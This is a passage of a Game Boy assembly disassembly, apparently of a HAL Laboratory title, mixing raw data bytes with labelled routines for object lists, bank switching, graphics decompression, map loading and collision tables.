$77, $C3, $CE, $08 db $0A, $03, $1E, $11, $12, $C3, $CE, $08 db $0A, $03, $1E, $12, $12, $C3, $CE, $08 db $0A, $5F, $03, $62, $2E, $28, $7E, $3D db $6F, $70, $2D, $71, $2D, $73, $1E, $28 db $7D, $12, $C3, $CE, $08, $62, $2E, $28 db $7E, $6F, $35, $28, $07, $2C, $4E, $2C db $46, $C3, $CE, $08, $2C, $2C, $2C, $1E db $28, $7D, $12, $C3, $CE, $08, $62, $2E db $28, $7E, $3D, $6F, $0A, $03, $5F, $0A db $03, $70, $2D, $71, $47, $4B, $1E, $28 db $7D, $12, $C3, $CE, $08, $0A, $03, $6F db $0A, $03, $67, $E5, $F0, $9B, $D6, $24 db $5F, $87, $83, $C6, $19, $5F, $1A, $E0 db $84, $0A, $03, $12, $CD, $DD, $05, $62 db $2E, $28, $7E, $3D, $6F, $F0, $84, $32 db $70, $2D, $71, $C1, $1E, $28, $7D, $12 db $C3, $CE, $08, $62, $2E, $28, $7E, $6F db $4E, $2C, $46, $2C, $1E, $28, $7D, $12 db $C3, $CE, $08, $62, $2E, $28, $7E, $6F db $4E, $2C, $46, $2C, $F0, $9B, $D6, $24 db $5F, $87, $83, $C6, $19, $5F, $2A, $12 db $CD, $DD, $05, $1E, $28, $7D, $12, $C3 db $CE, $08, $0A, $03, $6F, $0A, $03, $67 db $CD, $20, $06, $C3, $CE, $08, $0A, $03 db $6F, $0A, $03, $67, $CD, $20, $06, $F0 db $9B, $5F, $1A, $3D, $12, $C3, $D8, $08 db $CD, $99, $10, $C3, $CE, $08, $CD, $B6 db $10, $C3, $CE, $08, $CD, $18, $10, $C3 db $CE, $08, $CD, $C0, $1E, $C3, $CE, $08 db $CD, $11, $10, $C3, $CE, $08, $60, $69 db $1E, $27, $1A, $BE, $30, $0C, $23, $07 db $4F, $06, $00, $09, $2A, $4F, $46, $C3 db $CE, $08, $2A, $07, $4F, $06, $00, $09 db $44, $4D, $C3, $CE, $08, $C5, $0A, $03 db $07, $81, $4F, $30, $01, $04, $62, $2E db $28, $7E, $3D, $6F, $70, $2D, $71, $1E db $28, $7D, $12, $C1, $60, $69, $1E, $27 db $1A, $BE, $30, $0C, $23, $07, $4F, $06 db $00, $09, $2A, $4F, $46, $C3, $CE, $08 db $2A, $07, $4F, $06, $00, $09, $44, $4D db $C3, $CE, $08, $1E, $03, $3E, $80, $12 db $1C, $0A, $03, $12, $1C, $0A, $03, $12 db $C3, $CE, $08, $1E, $06, $3E, $80, $12 db $1C, $0A, $03, $12, $1C, $0A, $03, $12 db $C3, $CE, $08 toc_01_0B94: __ifNotZero [$DA48], .else_01_0BA8 ld h, a ld l, $01 .loop_01_0B9D: cp b jr c, .else_01_0BA3 cp c jr c, .else_01_0BAA .else_01_0BA3: ld h, a ld a, [hl] or a jr nz, .loop_01_0B9D .else_01_0BA8: scf ret .else_01_0BAA: cp h jr nz, .else_01_0BB3 ld a, [hl] ld [$DA48], a and a ret .else_01_0BB3: ld d, h ld e, l ld h, a ld a, [hl] ld [de], a and a ret toc_01_0BBA: ld a, h cp $A0 ret c cp $B3 ret nc ld l, $00 ld a, [hl] inc a ret z ld [hl], $FF call toc_01_0C2A ld l, $01 ld a, [hl] or a ld l, $02 jr nz, .else_01_0BD8 ld de, $DA47 jr .toc_01_0BDA .else_01_0BD8: ld d, a ld e, l .toc_01_0BDA: ld a, [hl] ld [de], a or a ld l, $01 jr nz, .else_01_0BE6 ld de, $DA46 jr .toc_01_0BE8 .else_01_0BE6: ld d, a ld e, l .toc_01_0BE8: ld a, [hl] ld [de], a ld a, [$DA49] cp h jr nz, .else_01_0BF4 ld a, [hl] ld [$DA49], a .else_01_0BF4: ld de, $DA48 ld a, [de] ld l, $01 ld [hl], a ld a, h ld [de], a ld l, $49 ld e, [hl] ld d, $BB xor a ld [de], a ld d, h ret toc_01_0C06: ld de, $DA47 ld a, [de] ld l, $02 ld [hl], a ld l, $01 ld [hl], $00 or a jr nz, .else_01_0C1A ld a, h ld [de], a ld [$DA46], a ret .else_01_0C1A: ld b, h ld h, a ld [hl], b ld a, b ld [de], a ld h, a ld a, [$DA49] or a ret nz ld a, h ld [$DA49], a ret toc_01_0C2A: ld l, $1C ld [hl], $80 ld l, $1F ld [hl], $80 ld l, $25 ld [hl], $00 inc l ld [hl], $00 ret db $CD, $48, $0C, $E5, $21, $7D, $74, $3E db $02, $CD, $CF, $05, $E1, $C9, $AF, $E0 db $B4, $21, $6C, $A0, $CB, $86, $FA, $54 db $A0, $FE, $80, $38, $05, $3E, $60, $EA db $54, $A0, $26, $A0, $C3, $49, $08, $62 db $2E, $03, $11, $4B, $DA, $01, $9B, $00 db $CD, $21, $06, $F0, $9A, $57, $C9, $1E db $03, $21, $4B, $DA, $01, $9B, $00, $CD db $21, $06, $F0, $9A, $57, $C9, $1E, $11 db $1A, $1E, $0D, $4F, $17, $9F, $47, $1A db $81, $12, $1C, $1A, $88, $12, $C9, $1E db $12, $1A, $1E, $0F, $4F, $17, $9F, $47 db $1A, $81, $12, $1C, $1A, $88, $12, $C9 db $62, $2E, $0E, $3A, $17, $38, $0E, $2A db $91, $3A, $98, $38, $08, $1E, $0C, $C3 db $04, $0D, $62, $2E, $0D, $7E, $83, $22 db $7E, $CE, $00, $32, $17, $D8, $2A, $91 db $7E, $98, $D8, $78, $32, $71, $C9, $79 db $2F, $C6, $01, $4F, $78, $2F, $CE, $00 db $47, $62, $2E, $0E, $3A, $17, $30, $18 db $2A, $91, $3A, $98, $30, $12, $1E, $0C db $C3, $04, $0D, $79, $2F, $C6, $01, $4F db $78, $2F, $CE, $00, $47, $62, $2E, $0D db $7E, $93, $22, $7E, $DE, $00, $32, $17 db $D0, $2A, $91, $7E, $98, $D0, $78, $32 db $71, $C9, $62, $2E, $0E, $3A, $17, $38 db $0C, $7E, $93, $22, $7E, $DE, $00, $77 db $D0, $AF, $32, $77, $C9, $7E, $83, $22 db $7E, $CE, $00, $77, $D0, $AF, $32, $77 db $C9, $62, $2E, $10, $3A, $17, $38, $0E db $2A, $91, $3A, $98, $38, $08, $1E, $0C db $C3, $85, $0D, $62, $2E, $0F, $7E, $83 db $22, $7E, $CE, $00, $32, $17, $D8, $2A db $91, $7E, $98, $D8, $78, $32, $71, $C9 db $79, $2F, $C6, $01, $4F, $78, $2F, $CE db $00, $47, $62, $2E, $10, $3A, $17, $30 db $18, $2A, $91, $3A, $98, $30, $12, $1E db $0C, $C3, $85, $0D, $79, $2F, $C6, $01 db $4F, $78, $2F, $CE, $00, $47, $62, $2E db $0F, $7E, $93, $22, $7E, $DE, $00, $32 db $17, $D0, $2A, $91, $7E, $98, $D0, $78 db $32, $71, $C9, $62, $2E, $10, $3A, $17 db $38, $0C, $7E, $93, $22, $7E, $DE, $00 db $77, $D0, $AF, $32, $77, $C9, $7E, $83 db $22, $7E, $CE, $00, $77, $D0, $AF, $32 db $77, $C9, $1E, $0D, $62, $2E, $03, $1A db $86, $22, $1C, $1A, $06, $00, $CB, $7F db $28, $01, $05, $8E, $22, $1C, $78, $8E db $22, $1A, $86, $22, $1C, $1A, $06, $00 db $CB, $7F, $28, $01, $05, $8E, $22, $1C db $78, $8E, $77, $C9 toc_01_0DCE: ld a, [$A06C] rra jr nc, .else_01_0DDE __changebank $07 call toc_07_740A jr .else_01_0DF0 .else_01_0DDE: call toc_01_0E2C ifEq [$A05D], $00, .else_01_0DF0 __changebank $0B call toc_0B_785B .else_01_0DF0: jp toc_01_0F22 db $CD, $67, $34, $CD, $2C, $0E, $C3, $22 db $0F, $CD, $7D, $34 toc_01_0DFF: call toc_01_0E4B jp toc_01_0F22 db $CD, $01, $0F, $C3, $22, $0F, $CD, $9D db $0E, $C3, $22, $0F, $3E, $08, $CD, $DD db $05, $CD, $AC, $57, $C9, $3E, $08, $CD db $DD, $05, $CD, $CB, $53, $C9, $3E, $08 db $CD, $DD, $05, $CD, $A6, $56, $C9 toc_01_0E2C: ld e, $04 ld hl, $DB51 ld b, d ld c, $09 ld a, [de] sub a, [hl] ld [bc], a inc e inc hl inc c ld a, [de] sbc [hl] ld [bc], a inc e inc e inc hl inc c ld a, [de] sub a, [hl] ld [bc], a inc e inc hl inc c ld a, [de] sbc [hl] ld [bc], a ret toc_01_0E4B: ld e, $04 ld hl, $DB51 ld b, d ld c, $09 ld a, [de] sub a, [hl] ld [bc], a ld [$FF84], a inc e inc hl inc c ld a, [de] sbc [hl] ld [bc], a inc a cp $01 ld a, [$FF84] jr z, .else_01_0E6D jr nc, .else_01_0E94 cp $E0 jr nc, .else_01_0E71 jr .else_01_0E94 .else_01_0E6D: cp $C0 jr nc, .else_01_0E94 .else_01_0E71: inc e inc e inc hl inc c ld a, [de] sub a, [hl] ld [bc], a ld [$FF84], a inc e inc hl inc c ld a, [de] sbc [hl] ld [bc], a inc a cp $01 ld a, [$FF84] jr z, .else_01_0E8F jr nc, .else_01_0E94 cp $E0 jr nc, .return_01_0E93 jr .else_01_0E94 .else_01_0E8F: cp $A0 jr nc, .else_01_0E94 .return_01_0E93: ret .else_01_0E94: ld e, $15 ld a, $FF ld [de], a ld h, d jp toc_01_0BBA db $1E, $04, $21, $51, $DB, $42, $0E, $09 db $1A, $96, $02, $E0, $84, $1C, $23, $0C db $1A, $9E, $02, $3C, $FE, $01, $F0, $84 db $28, $08, $30, $2D, $FE, $E0, $30, $06 db $18, $27, $FE, $C0, $30, $23, $1C, $1C db $23, $0C, $1A, $96, $02, $E0, $84, $1C db $23, $0C, $1A, $9E, $02, $3C, $FE, $01 db $F0, $84, $28, $08, $30, $0B, $FE, $E0 db $30, $06, $18, $05, $FE, $A0, $30, $01 db $C9, $1E, $15, $3E, $FF, $12, $62, $D5 db $CD, $BA, $0B, $D1, $1E, $48, $1A, $67 db $2E, $15, $3E, $FF, $77, $CD, $BA, $0B db $F0, $9A, $57, $C9, $1E, $48, $1A, $67 db $1E, $04, $2E, $09, $42, $4D, $1A, $86 db $02, $1C, $2C, $0C, $1A, $8E, $02, $1C db $1C, $2C, $0C, $1A, $86, $02, $1C, $2C db $0C, $1A, $8E, $02, $C9 toc_01_0F22: ld e, $15 ld a, [de] cp $FF ret z add a, a ld c, a ld h, d ld l, $16 ldi a, [hl] call cbcallWithoutInterrupts.loadBank ldi a, [hl] ld l, [hl] ld h, a ld b, $00 add hl, bc ldi a, [hl] ld h, [hl] ld l, a ld c, $93 ld e, $45 ld a, [de] ld [$ff00+c], a inc e inc c ld a, [de] ld [$ff00+c], a inc e inc c ld a, [de] ld [$ff00+c], a ld e, $0C push de call toc_01_051C pop de ret db $D5, $60, $69, $2A, $E0, $84, $2A, $47 db $2A, $4F, $E5, $CD, $67, $0F, $C1, $D1 db $7C, $B7, $C8, $2E, $48, $72, $C9, $62 db $2E, $07, $2A, $5F, $56, $D5, $2E, $04 db $2A, $5F, $56, $D5, $C3, $CA, $07, $0A db $03, $5F, $D5, $C5, $3E, $01, $E0, $84 db $01, $A5, $A2, $CD, $67, $0F, $C1, $D1 db $7C, $B7, $C8, $2E, $48, $72, $2E, $51 db $73, $C9, $3E, $01, $E0, $84, $21, $34 db $DB, $3E, $A5, $22, $36, $A2, $60, $69 db $CD, $D0, $0F, $C8, $2E, $51, $F0, $80 db $77, $1E, $45, $6B, $1A, $77, $C9, $3E db $02, $E0, $84, $21, $34, $DB, $3E, $A8 db $22, $36, $A5, $60, $69, $CD, $D0, $0F db $C8, $2E, $5A, $F0, $80, $77, $1E, $45 db $6B, $1A, $77, $2E, $4C, $36, $00, $C9 db $2A, $E0, $80, $2A, $E0, $85, $2A, $E0 db $86, $D5, $E5, $62, $2E, $45, $7E, $17 db $F0, $85, $30, $02, $2F, $3C, $4F, $17 db $9F, $47, $2E, $04, $2A, $81, $4F, $2A db $88, $47, $2C, $F0, $86, $5F, $17, $9F db $57, $2A, $83, $5F, $7E, $8A, $57, $21 db $34, $DB, $2A, $66, $6F, $CD, $C6, $07 db $C1, $D1, $7C, $B7, $C8, $2E, $48, $72 db $C9, $CD, $47, $06, $1E, $27, $12, $C9 db $1E, $45, $1A, $17, $1E, $0D, $0A, $03 db $38, $04, $12, $0A, $18, $08, $2F, $C6 db $01, $12, $0A, $2F, $CE, $00, $1C, $03 db $12, $C9, $1E, $45, $1A, $17, $1E, $11 db $0A, $03, $30, $02, $2F, $3C, $12, $C9 db $1E, $07, $18, $02, $1E, $04, $60, $69 db $1A, $86, $12, $1C, $23, $1A, $8E, $12 db $23, $44, $4D, $C9, $26, $A0, $7C, $BA db $28, $06, $CD, $BA, $0B, $F0, $9A, $57 db $24, $7C, $FE, $B3, $20, $F1, $C9, $26 db $A0, $7C, $BA, $28, $0C, $2E, $19, $CB db $EE, $2E, $1C, $CB, $EE, $2E, $1F, $CB db $EE, $24, $7C, $FE, $B3, $20, $EB, $C9 db $26, $A0, $7C, $BA, $28, $0C, $2E, $19 db $CB, $AE, $2E, $1C, $CB, $AE, $2E, $1F db $CB, $AE, $24, $7C, $FE, $B3, $20, $EB db $C9, $0A, $5F, $03, $C5, $21, $99, $42 db $3E, $1E, $CD, $CF, $05, $C1, $F0, $9A db $57, $C9, $21, $99, $42, $3E, $1E, $CD db $CF, $05, $F0, $9A, $57, $C9, $0A, $5F db $03, $C5, $21, $32, $42, $3E, $1F, $CD db $CF, $05, $C1, $F0, $9A, $57, $C9, $0A db $EA, $6F, $DB, $18, $EA, $0A, $03, $5F db $C5, $21, $6D, $60, $3E, $1E, $CD, $CF db $05, $C1, $F0, $9A, $57, $C9 toc_01_10DE: __changebank $08 jp toc_08_4062 toc_01_10E6: ld e, $09 cbcallNoInterrupts $1E, $602E call toc_01_1126 call toc_01_1134 cbcallNoInterrupts $07, $5B28 ld hl, $DEDE set 2, [hl] set 1, [hl] set 3, [hl] set 5, [hl] set 6, [hl] ld a, [$A05B] inc a ld [$DEE0], a __ifNotZero [$A071], .else_01_111D ld hl, $DEDF set 1, [hl] .else_01_111D: assign [gbWX], $07 assign [gbWY], $80 ret toc_01_1126: __changebank $0B ld hl, $68A0 ld de, $8000 jp decompressHAL toc_01_1134: __changebank $0B plotFromTo $7122, $9630 __changebank $0B plotFromTo $720F, $8800 .toc_01_1150: __changebank $0B plotFromTo $6D87, $8600 ret db $3E, $07, $CD, $DD, $05, $18, $30 toc_01_1166: cbcallNoInterrupts $02, $747D ifEq [$A051], $0D, .else_01_1183 __changebank $0B ld hl, $6980 ld de, $8000 jp decompressHAL .else_01_1183: __changebank $07 call toc_07_7458 call .toc_01_1196 __changebank $07 call toc_07_7472 .toc_01_1196: ld a, [$DF11] ld h, $00 ld l, a ld b, h ld c, l add hl, hl add hl, bc add hl, hl add hl, bc ld bc, $74BB add hl, bc ldi a, [hl] ld e, a ldi a, [hl] ld d, a ldi a, [hl] ld c, a ldi a, [hl] ld b, a ldi a, [hl] ld [$FF84], a push bc ldi a, [hl] ld c, a ld b, [hl] pop hl ld a, [$FF84] call cbcallWithoutInterrupts.loadBank jp memcpy toc_01_11BE: clear [$A082] ld [$FFA5], a ld [$FFA6], a .loop_01_11C6: call toc_01_0496 ld a, [$A06C] rra jr c, .else_01_11D4 assign [$A05D], $FF .else_01_11D4: call toc_01_086B __changebank $07 call toc_07_4259 __changebank $07 call toc_07_43CB call toc_01_04AE cbcallNoInterrupts $07, $5B85 cbcallNoInterrupts $07, $5BD2 call toc_01_0343 call toc_01_0357 ld a, [$A082] or a jr nz, .else_01_1219 ifEq [$DA3A], $02, .else_01_1219 ld a, [wJoypadStorage2] and J_DOWN | J_LEFT | J_RIGHT jr z, .else_01_1219 assign [$A082], $09 .else_01_1219: __ifNotZero [$A082], .loop_01_11C6 ret db $CD, $64, $15, $01, $0E, $00, $09, $3A db $47, $3A, $6E, $67, $78, $CD, $DD, $05 db $11, $04, $A0, $1A, $E6, $F0, $CB, $37 db $47, $1C, $1A, $CB, $37, $B0, $47, $1E db $07, $1A, $E6, $F0, $CB, $37, $4F, $1C db $1A, $CB, $37, $B1, $4F, $11, $03, $00 db $2A, $B8, $20, $06, $2A, $B9, $20, $03 db $18, $0D, $23, $2A, $FE, $20, $30, $FB db $FE, $01, $28, $EC, $19, $18, $E9, $E5 db $2A, $FE, $60, $1E, $04, $20, $0A, $21 db $76, $42, $3E, $1A, $CD, $CF, $05, $18 db $08, $21, $80, $42, $3E, $1A, $CD, $CF db $05, $CD, $37, $04, $E1, $C9 toc_01_1286: call toc_01_1564 ldi a, [hl] ld [$DB3D], a ld c, a ldi a, [hl] ld [$DB3E], a push hl ld b, a ld hl, $CD2D ld a, $B3 jr .toc_01_129C .loop_01_129B: add a, c .toc_01_129C: ldi [hl], a dec b jr nz, .loop_01_129B sla c ld a, [$DB3E] ld b, a ld hl, $CD35 ld a, $3D jr .toc_01_12AE .loop_01_12AD: add a, c .toc_01_12AE: ldi [hl], a dec b jr nz, .loop_01_12AD pop hl ld c, $04 ld de, $DB45 .loop_01_12B8: ldi a, [hl] swap a ld b, a and %11110000 ld [de], a inc de ld a, b and %00001111 ld [de], a inc de dec c jr nz, .loop_01_12B8 push hl ld hl, $DB45 ld de, $DB3F ldi a, [hl] add a, $08 ld [de], a inc de ldi a, [hl] adc $00 ld [de], a inc de ldi a, [hl] add a, $08 ld [de], a inc de ldi a, [hl] adc $00 ld [de], a inc de ldi a, [hl] add a, $98 ld [de], a inc de ld a, [hl] adc $00 ld [de], a pop hl push hl ld bc, $000A add hl, bc ld de, $B300 call decompressHAL pop hl inc hl inc hl push hl ldd a, [hl] ld b, a ldd a, [hl] ld l, [hl] ld h, a ld a, b call cbcallWithoutInterrupts.loadBank ld bc, $0003 add hl, bc push hl ldi a, [hl] ld [$DB5C], a ld de, $CF00 call decompressHAL ld c, $05 ld hl, $CF00 ld de, $C500 .loop_01_131C: ld a, [$DB5C] ld b, a .loop_01_1320: ldi a, [hl] ld [de], a inc e dec b jr nz, .loop_01_1320 ld e, $00 inc d dec c jr nz, .loop_01_131C pop hl dec hl ldd a, [hl] ld b, a ldd a, [hl] ld l, [hl] ld h, a ld a, b ld [$DB5A], a call cbcallWithoutInterrupts.loadBank ldi a, [hl] cpl inc a swap a ld d, a and %11110000 ld e, a ld a, d or %11110000 ld d, a ld a, e add a, $30 ld e, a ld a, d adc $96 ld d, a and %00001111 or e swap a ld [$DB59], a ld a, l ld [$DB5B], a ld a, h ld [$DB5C], a call decompressHAL ld a, [$DB58] call cbcallWithoutInterrupts.loadBank pop hl push hl ld bc, $0007 add hl, bc bit 0, [hl] ld a, $86 jr z, .else_01_1388 __changebank $0C plotFromTo $47D1, $8860 ld a, d and %00001111 or e swap a .else_01_1388: ld [$DB5E], a __ifNotZero [$DB73], .else_01_13A3 pop hl ld a, [$DB60] ld hl, $14D0 add a, a add a, l ld l, a jr nc, .else_01_139E inc h .else_01_139E: ldi a, [hl] ld h, [hl] ld l, a jr .toc_01_13AE .else_01_13A3: ld a, [$DB58] call cbcallWithoutInterrupts.loadBank pop hl ld bc, $0003 add hl, bc .toc_01_13AE: ldd a, [hl] ld b, a ld [$DB5D], a ldd a, [hl] ld l, [hl] ld h, a ld a, b call cbcallWithoutInterrupts.loadBank ld de, $DB7F .toc_01_13BD: ldi a, [hl] cp $FF jp z, .else_01_1445 ld [$FF84], a push hl ld l, a ld h, $00 ld [de], a inc de ld a, [$DB5E] ld [de], a inc de add hl, hl ld b, h ld c, l add hl, hl add hl, bc ld bc, $5629 add hl, bc __changebank $07 ldi a, [hl] ld [de], a inc de ldi a, [hl] ld [de], a inc de ldi a, [hl] ld [de], a inc de ifNe [$FF84], $13, .else_01_143B cp $14 jr z, .else_01_143B cp $15 jr z, .else_01_143B cp $16 jr z, .else_01_143B cp $1C jr z, .else_01_143B cp $1F jr z, .else_01_143B cp $3E jr z, .else_01_143B push de inc hl inc hl ldd a, [hl] ld b, a ldd a, [hl] ld l, [hl] ld h, a ld a, b call cbcallWithoutInterrupts.loadBank ifEq [$FF84], $11, .else_01_141F ld de, $8D80 call decompressHAL jr .toc_01_143A .else_01_141F: ld a, [$DB5E] swap a ld d, a and %11110000 ld e, a ld a, d and %00001111 add a, $80 ld d, a call decompressHAL ld a, d and %00001111 or e swap a ld [$DB5E], a .toc_01_143A: pop de .else_01_143B: pop hl ld a, [$DB5D] call cbcallWithoutInterrupts.loadBank jp .toc_01_13BD .else_01_1445: ld a, $FF ld [de], a ld b, $00 ld de, $CD3D .toc_01_144D: ldi a, [hl] cp $FF jr z, .else_01_145C ld [de], a ld c, a inc e ld a, b ld [de], a inc e add a, c ld b, a jr .toc_01_144D .else_01_145C: ld a, b ld [$DB5F], a ld c, $03 ld de, $CA00 .loop_01_1465: ld a, [$DB5F] ld b, a .loop_01_1469: ldi a, [hl] ld [de], a inc e dec b jr nz, .loop_01_1469 ld e, $00 inc d dec c jr nz, .loop_01_1465 memsetWithValue $BB00, $0100, $00 xor a ld hl, $DB4F ldi [hl], a ldi [hl], a ld de, $A004 ld a, [de] inc e sub a, $50 ldi [hl], a ld a, [de] inc e sbc $00 ldi [hl], a inc e ld a, [de] inc e sub a, $40 ldi [hl], a ld a, [de] sbc $00 ld [hl], a call toc_01_1513 ld hl, $DB51 ldi a, [hl] and %11110000 sub a, $10 ld [$DB55], a ld [$DB7D], a inc hl ld a, [hl] and %11110000 sub a, $10 ld [$DB56], a ld [$DB7E], a memsetWithValue $CD56, $0018, $00 clear [$DB72] ld [$DB70], a ld [$DB71], a ret db $DE, $14, $E1, $14, $E4, $14, $E7, $14 db $EA, $14, $ED, $14, $2D, $40, $07, $38 db $40, $07, $43, $40, $07, $B7, $40, $07 db $C2, $40, $07, $D7, $40, $07, $FA, $5A db $DB, $CD, $DD, $05, $FA, $59, $DB, $CB db $7F, $06, $90, $28, $02, $06, $80, $CB db $37, $57, $E6, $F0, $5F, $7A, $E6, $0F db $80, $57, $21, $5B, $DB, $2A, $66, $6F db $C3, $08, $07 toc_01_1513: ld hl, $DB45 ldi a, [hl] ld c, a ld b, [hl] ld hl, $DB51 ldi a, [hl] sub a, c ld a, [hl] sbc b jr c, .else_01_1526 bit 7, [hl] jr z, .else_01_1529 .else_01_1526: ld a, b ldd [hl], a ld [hl], c .else_01_1529: ld hl, $DB49 ldi a, [hl] ld c, a ld b, [hl] ld hl, $DB51 ldi a, [hl] sub a, c ld a, [hl] sbc b jr c, .else_01_153B ld a, b ldd [hl], a ld [hl], c .else_01_153B: ld hl, $DB47 ldi a, [hl] ld c, a ld b, [hl] ld hl, $DB53 ldi a, [hl] sub a, c ld a, [hl] sbc b jr c, .else_01_154E bit 7, [hl] jr z, .else_01_1551 .else_01_154E: ld a, b ldd [hl], a ld [hl], c .else_01_1551: ld hl, $DB4B ldi a, [hl] ld c, a ld b, [hl] ld hl, $DB53 ldi a, [hl] sub a, c ld a, [hl] sbc b jr c, .return_01_1563 ld a, b ldd [hl], a ld [hl], c .return_01_1563: ret toc_01_1564: __changebank $08 ld a, [$DB57] ld l, a ld h, $00 ld b, h ld c, l add hl, hl add hl, bc ld bc, $511F add hl, bc ldd a, [hl] ld b, a ld [$DB58], a ldd a, [hl] ld l, [hl] ld h, a ld a, b call cbcallWithoutInterrupts.loadBank ret toc_01_1584: xor a ld hl, gbSCY ldi [hl], a ld [hl], a ld hl, $DA00 ldi [hl], a ld [hl], a ld hl, $DB51 ldi [hl], a ldi [hl], a ldi [hl], a ld [hl], a ret db $E0, $80, $F0, $A4, $F5, $3E, $07, $CD db $DD, $05, $CD, $7B, $43, $F1, $C3, $DD db $05, $E0, $84, $CD, $E3, $15, $F0, $84 db $77, $CD, $FC, $15, $54, $5D, $FA, $22 db $DA, $6F, $FA, $28, $DA, $67, $73, $2C db $72, $2C, $F0, $84, $4F, $06, $C5, $0A db $22, $04, $0A, $22, $04, $0A, $22, $04 db $0A, $22, $7D, $EA, $22, $DA, $FA, $28 db $DA, $21, $23, $DA, $1F, $30, $03, $21 db $24, $DA, $34, $C9 toc_01_15E3: ld hl, $CD2D ld a, d add a, l ld l, a ld a, [hl] add a, b ld h, a ld [$FF9D], a ld a, e and %11110000 ld l, a ld a, c swap a and %00001111 add a, l ld l, a ld [$FF9C], a ret toc_01_15FC: ld a, e ld h, $26 rla rl h rla rl h and %11000000 ld l, a ld a, c rra rra rra and %00011110 add a, l ld l, a ret toc_01_1611: ld [$FF84], a ld hl, $DB62 add a, l ld l, a jr nc, .else_01_161B inc h .else_01_161B: ld e, [hl] ld a, [$FF84] ld hl, $163E add a, l ld l, a jr nc, .else_01_1626 inc h .else_01_1626: ld a, [hl] or e inc a ret toc_01_162A: ld [$FF84], a ld a, e call toc_01_0663 ld e, a ld a, [$FF84] ld hl, $DB62 add a, l ld l, a jr nc, .else_01_163B inc h .else_01_163B: ld a, [hl] and e ret db $F8, $F8, $F8, $F0, $E0, $C0, $80, $FF db $FA, $3D, $DB, $3D, $B8, $38, $0F, $FA db $3E, $DB, $3D, $BA, $38, $08, $CD, $E3 db $15, $6E, $26, $C9, $7E, $C9, $AF, $21 db $9C, $FF, $22, $77, $3E, $00, $C9, $21 db $9C, $FF, $2A, $66, $6F, $B4, $28, $16 db $7D, $D6, $10, $6F, $30, $0B, $7A, $B7 db $28, $0C, $FA, $3D, $DB, $2F, $3C, $84 db $67, $6E, $26, $C9, $7E, $C9, $3E, $00 db $C9, $21, $9C, $FF, $2A, $66, $6F, $B4 db $28, $17, $7D, $C6, $10, $6F, $30, $0C db $FA, $3E, $DB, $3D, $BA, $28, $0A, $FA db $3D, $DB, $84, $67, $6E, $26, $C9, $7E db $C9, $3E, $00, $C9, $21, $9C, $FF, $2A db $66, $6F, $B4, $28, $17, $2C, $7D, $E6 db $0F, $20, $0C, $FA, $3D, $DB, $3D, $B8 db $28, $0A, $7D, $D6, $10, $6F, $24, $6E db $26, $C9, $7E, $C9, $3E, $00, $C9, $21 db $9C, $FF, $2A, $66, $6F, $B4, $28, $16 db $2D, $7D, $E6, $0F, $FE, $0F, $20, $09 db $78, $B7, $28, $0A, $7D, $C6, $10, $6F db $25, $6E, $26, $C9, $7E, $C9, $3E, $00 db $C9, $CD, $46, $16, $E6, $07, $E0, $9E db $FE, $01, $28, $02, $A7, $C9, $CD, $AA db $16, $E6, $07, $FE, $01, $38, $06, $28 db $0D, $FE, $04, $30, $09, $79, $E6, $0F db $6F, $3E, $10, $95, $37, $C9, $A7, $C9 db $CD, $46, $16, $E6, $07, $E0, $9E, $21 db $2A, $17, $87, $85, $6F, $30, $01, $24 db $2A, $66, $6F, $E9, $52, $17, $54, $17 db $52, $17, $52, $17, $52, $17, $3A, $17 db $52, $17, $44, $17, $79, $E6, $0F, $6F db $7B, $E6, $0F, $95, $37, $C9, $79, $E6 db $0F, $6F, $7B, $E6, $0F, $67, $3E, $0F db $94, $95, $37, $C9, $A7, $C9, $CD, $AA db $16, $E6, $07, $21, $66, $17, $87, $85 db $6F, $30, $01, $24, $2A, $66, $6F, $E9 db $98, $17, $A1, $17, $98, $17, $98, $17 db $98, $17, $76, $17, $98, $17, $86, $17 db $3E, $05, $E0, $9E, $79, $E6, $0F, $6F db $7B, $E6, $0F, $C6, $10, $95, $37, $C9 db $3E, $07, $E0, $9E, $79, $E6, $0F, $6F db $7B, $E6, $0F, $67, $3E, $1F, $94, $95 db $37, $C9, $79, $E6, $0F, $6F, $3E, $10 db $95, $37, $C9, $A7, $C9, $CD, $46, $16 db $E6, $07, $E0, $9E, $FE, $01, $28, $02 db $A7, $C9, $CD, $CD, $16, $E6, $07, $FE db $01, $38, $06, $28, $0A, $FE, $04, $30 db $06, $79, $E6, $0F, $2F, $37, $C9, $A7 db $C9, $CD, $46, $16, $E6, $07, $E0, $9E db $21, $DB, $17, $87, $85, $6F, $30, $01 db $24, $2A, $66, $6F, $E9, $03, $18, $05 db $18, $03, $18, $03, $18, $EB, $17, $03 db $18, $F9, $17, $03, $18, $79, $E6, $0F db $6F, $7B, $E6, $0F, $67, $3E, $0F, $94 db $95, $37, $C9, $79, $E6, $0F, $6F, $7B db $E6, $0F, $95, $37, $C9, $A7, $C9, $CD db $CD, $16, $E6, $07, $21, $17, $18, $87 db $85, $6F, $30, $01, $24, $2A, $66, $6F db $E9, $46, $18, $4C, $18, $46, $18, $46 db $18, $27, $18, $46, $18, $36, $18, $46 db $18, $3E, $05, $E0, $9E, $79, $E6, $0F db $6F, $7B, $E6, $0F, $2F, $95, $37, $C9 db $3E, $07, $E0, $9E, $79, $E6, $0F, $6F db $7B, $E6, $0F, $D6, $10, $95, $37, $C9 db $79, $E6, $0F, $2F, $37, $C9, $A7, $C9 db $CD, $46, $16, $E0, $9F, $E6, $07, $E0 db $9E, $21, $64, $18, $87, $85, $6F, $30 db $01, $24, $2A, $66, $6F, $E9, $8C, $18 db $8E, $18, $8E, $18, $8E, $18, $74, $18 db $82, $18, $8E, $18, $8E, $18, $79, $E6 db $0F, $6F, $7B, $E6, $0F, $67, $3E, $0F db $95, $94, $37, $C9, $7B, $E6, $0F, $67 db $79, $E6, $0F, $94, $37, $C9, $A7, $C9 db $CD, $65, $16, $E6, $07, $21, $A0, $18 db $87, $85, $6F, $30, $01, $24, $2A, $66 db $6F, $E9, $B0, $18, $B6, $18, $B0, $18 db $B0, $18, $B8, $18, $C7, $18, $B0, $18 db $B0, $18, $7B, $E6, $0F, $2F, $37, $C9 db $A7, $C9, $3E, $04, $E0, $9E, $7B, $E6 db $0F, $67, $79, $E6, $0F, $2F, $94, $37 db $C9, $3E, $05, $E0, $9E, $7B, $E6, $0F db $67, $79, $E6, $0F, $D6, $10, $94, $37 db $C9, $CD, $46, $16, $E6, $07, $E0, $9E db $21, $EB, $18, $87, $85, $6F, $30, $01 db $24, $2A, $66, $6F, $E9, $13, $19, $15 db $19, $13, $19, $13, $19, $13, $19, $13 db $19, $FB, $18, 